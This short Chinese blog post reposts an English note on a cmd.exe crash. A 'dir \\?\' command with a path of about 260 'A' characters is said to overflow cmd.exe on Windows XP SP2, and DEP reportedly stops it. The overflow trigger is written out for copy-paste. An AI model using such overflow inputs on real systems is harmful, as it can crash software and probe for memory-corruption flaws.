下午乱逛的时候,在Artery那里的一个链接上的一个Blog上看到的老外的链接上的
貌似有点绕人哦,嘿嘿,考验你智商啦[emot]pig[/emot]
回到正题:

Execute the following line in cmd.exe (copy-paste)..
tested on winxp sp2 (fully patched) on 2006/10/06/17.56
(it is a single command, has been split into multiple lines for readability sake).
%COMSPEC% /K "dir \\?\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

(260 characters of 'A's)
Well, DEP (Data Execution Protection) comes into the picture and saves the day (???).
Haven't tried in Windows 2000 or Windows XP SP1 (or rather any other operating system).

额,中文意思很简单,就是说命令行里输入上面的那个,会溢出.
直接输入: dir \\?\AAA(超过260个A)也会引发错误

Back